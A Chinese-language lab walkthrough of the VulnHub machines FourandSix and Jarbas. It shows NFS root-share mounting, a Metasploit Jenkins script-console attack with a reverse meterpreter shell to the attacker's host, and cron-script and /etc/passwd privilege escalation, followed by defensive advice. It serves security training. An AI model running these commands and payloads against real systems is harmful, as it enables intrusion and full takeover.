渗透测试之Jarbas和FourandSix靶机实战
字数 1725 2025-08-27 12:33:31

渗透测试实战:Jarbas和FourandSix靶机教学文档

1. FourandSix靶机渗透测试

1.1 环境准备

  • 靶机下载地址:https://download.vulnhub.com/fourandix/FourAndSix-vmware.zip
  • 网络配置:NAT模式,与攻击机(Kali Linux)同网段

1.2 信息收集

  1. 确定靶机IP

    nmap -sP 222.182.111.1/24
    

    通过扫描确定靶机IP为222.182.111.135

  2. 端口扫描

    nmap -sV 222.182.111.135
    

    发现开放端口:

    • 22 (SSH)
    • 111 (rpcbind)
    • 2049 (NFS)

1.3 NFS服务利用

  1. 安装NFS客户端工具

    apt-get install nfs-common
    
  2. 查看共享目录

    showmount -e 222.182.111.135
    

    发现/shared目录共享

  3. 挂载共享目录

    mkdir /mnt/share1
    mount -t nfs 222.182.111.135:/shared /mnt/share1
    
  4. 探索共享内容

    cd /mnt/share1
    ls
    

    发现USB-stick.img文件

  5. 挂载img文件

    mkdir USB-stick
    mount USB-stick.img USB-stick
    cd USB-stick
    ls -al
    
  6. 关键发现

    mkdir jlzj
    mount 222.182.111.135:/ jlzj
    cd /jlzj
    ls -la
    

    发现可以挂载根目录,直接访问系统文件

  7. 获取flag

    cat /jlzj/root/proof.txt
    

    得到flag:5027a37dc785a5d1888bffd4e249e3dd

2. Jarbas靶机渗透测试

2.1 环境准备

  • 靶机下载地址:https://download.vulnhub.com/jarbas/Jarbas.zip
  • 网络配置:NAT模式,与攻击机(Kali Linux)同网段

2.2 信息收集

  1. 确定靶机IP

    nmap -sP 222.182.111.1/24
    

    确定靶机IP为222.182.111.137

  2. 端口扫描

    nmap -sV -p- 222.182.111.137
    

    发现开放端口:

    • 22 (SSH)
    • 80 (HTTP)
    • 3306 (MySQL)
    • 8080 (HTTP)

2.3 Web应用测试

  1. 80端口探测

    • 初始访问无显著发现
    • 目录爆破:
      dirb http://222.182.111.137:80 /usr/share/dirb/wordlists/big.txt
      
    • 扩展名探测:
      dirb http://222.182.111.137:80 -X .php
      dirb http://222.182.111.137:80 -X .html
      
      发现access.html
  2. 获取凭据

    • 在access.html中发现三组用户名及密码hash:
      • tiago:italia99
      • trindade:marianna
      • eder:vipsu
    • 使用MD5解密获得明文密码
  3. 8080端口测试

    • 发现Jenkins登录页面
    • 使用eder:vipsu成功登录

2.4 利用Jenkins获取会话

  1. 使用Metasploit
    use exploit/multi/http/jenkins_script_console
    show options
    set target 1
    set USERNAME eder
    set PASSWORD vipsu
    set RHOST 222.182.111.137
    set RPORT 8080
    set TARGETURI /
    show payloads
    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST 222.182.111.132
    exploit
    
    成功获取meterpreter会话

2.5 提权

  1. 检查定时任务

    cat /etc/crontab
    

    发现每5分钟执行/etc/script/CleaningScript.sh

  2. 利用计划任务提权

    cd /etc/script/
    echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
    
  3. 创建伪造的passwd文件

    touch passwd
    openssl passwd -1 -salt jlzj abc123
    

    生成用户jlzj的密码hash

  4. 上传并替换passwd文件

    upload /root/passwd /tmp
    shell
    python -c 'import pty;pty.spawn("/bin/bash")'
    cd /tmp
    cp passwd /etc/passwd
    cat /etc/passwd
    
  5. 切换用户获取root权限

    su jlzj
    

    输入密码abc123,成功获取root权限

  6. 获取flag

    cd /root
    cat flag.txt
    

3. 关键知识点总结

3.1 NFS服务利用要点

  1. NFS(Network File System)用于网络文件共享
  2. rpcbind是NFS的辅助服务
  3. 通过showmount -e查看共享目录
  4. 使用mount命令挂载远程共享
  5. 注意检查可挂载的目录层级,有时可直接挂载根目录

3.2 Jenkins利用要点

  1. Jenkins是基于Java的持续集成工具
  2. 默认存在jenkins_script_console漏洞利用模块
  3. 可通过Metasploit获取meterpreter会话

3.3 提权技术要点

  1. 检查/etc/crontab寻找定时任务
  2. 利用可写的脚本文件注入提权命令
  3. 使用chmod u+s给命令添加SUID权限
  4. 通过openssl生成用户密码hash
  5. 替换/etc/passwd文件添加特权用户

3.4 信息收集技巧

  1. 端口扫描时使用-sV获取服务版本信息
  2. 目录爆破时尝试不同字典和扩展名
  3. 检查网页源代码和隐藏文件
  4. 注意收集和破解密码hash

4. 防御建议

  1. NFS服务

    • 限制共享目录范围
    • 设置只读权限
    • 使用防火墙限制访问IP
  2. Jenkins

    • 及时更新到最新版本
    • 禁用脚本控制台
    • 使用强密码策略
  3. 系统安全

    • 定期检查crontab任务
    • 限制关键命令的SUID权限
    • 监控/etc/passwd文件变更
    • 使用文件完整性监控工具
  4. Web应用

    • 避免在页面中暴露敏感信息
    • 使用安全的密码存储方式
    • 限制目录遍历

通过这两个靶机的实战,我们学习了NFS服务利用、Jenkins漏洞利用和多种提权技术,这些知识在实际渗透测试中具有重要价值。

渗透测试实战:Jarbas和FourandSix靶机教学文档 1. FourandSix靶机渗透测试 1.1 环境准备 靶机下载地址:https://download.vulnhub.com/fourandix/FourAndSix-vmware.zip 网络配置:NAT模式,与攻击机(Kali Linux)同网段 1.2 信息收集 确定靶机IP : 通过扫描确定靶机IP为222.182.111.135 端口扫描 : 发现开放端口: 22 (SSH) 111 (rpcbind) 2049 (NFS) 1.3 NFS服务利用 安装NFS客户端工具 : 查看共享目录 : 发现 /shared 目录共享 挂载共享目录 : 探索共享内容 : 发现USB-stick.img文件 挂载img文件 : 关键发现 : 发现可以挂载根目录,直接访问系统文件 获取flag : 得到flag:5027a37dc785a5d1888bffd4e249e3dd 2. Jarbas靶机渗透测试 2.1 环境准备 靶机下载地址:https://download.vulnhub.com/jarbas/Jarbas.zip 网络配置:NAT模式,与攻击机(Kali Linux)同网段 2.2 信息收集 确定靶机IP : 确定靶机IP为222.182.111.137 端口扫描 : 发现开放端口: 22 (SSH) 80 (HTTP) 3306 (MySQL) 8080 (HTTP) 2.3 Web应用测试 80端口探测 : 初始访问无显著发现 目录爆破: 扩展名探测: 发现access.html 获取凭据 : 在access.html中发现三组用户名及密码hash: tiago:italia99 trindade:marianna eder:vipsu 使用MD5解密获得明文密码 8080端口测试 : 发现Jenkins登录页面 使用eder:vipsu成功登录 2.4 利用Jenkins获取会话 使用Metasploit : 成功获取meterpreter会话 2.5 提权 检查定时任务 : 发现每5分钟执行 /etc/script/CleaningScript.sh 利用计划任务提权 : 创建伪造的passwd文件 : 生成用户jlzj的密码hash 上传并替换passwd文件 : 切换用户获取root权限 : 输入密码abc123,成功获取root权限 获取flag : 3. 关键知识点总结 3.1 NFS服务利用要点 NFS(Network File System)用于网络文件共享 rpcbind是NFS的辅助服务 通过 showmount -e 查看共享目录 使用 mount 命令挂载远程共享 注意检查可挂载的目录层级,有时可直接挂载根目录 3.2 Jenkins利用要点 Jenkins是基于Java的持续集成工具 默认存在 jenkins_script_console 漏洞利用模块 可通过Metasploit获取meterpreter会话 3.3 提权技术要点 检查 /etc/crontab 寻找定时任务 利用可写的脚本文件注入提权命令 使用 chmod u+s 给命令添加SUID权限 通过openssl生成用户密码hash 替换 /etc/passwd 文件添加特权用户 3.4 信息收集技巧 端口扫描时使用 -sV 获取服务版本信息 目录爆破时尝试不同字典和扩展名 检查网页源代码和隐藏文件 注意收集和破解密码hash 4. 防御建议 NFS服务 : 限制共享目录范围 设置只读权限 使用防火墙限制访问IP Jenkins : 及时更新到最新版本 禁用脚本控制台 使用强密码策略 系统安全 : 定期检查crontab任务 限制关键命令的SUID权限 监控 /etc/passwd 文件变更 使用文件完整性监控工具 Web应用 : 避免在页面中暴露敏感信息 使用安全的密码存储方式 限制目录遍历 通过这两个靶机的实战,我们学习了NFS服务利用、Jenkins漏洞利用和多种提权技术,这些知识在实际渗透测试中具有重要价值。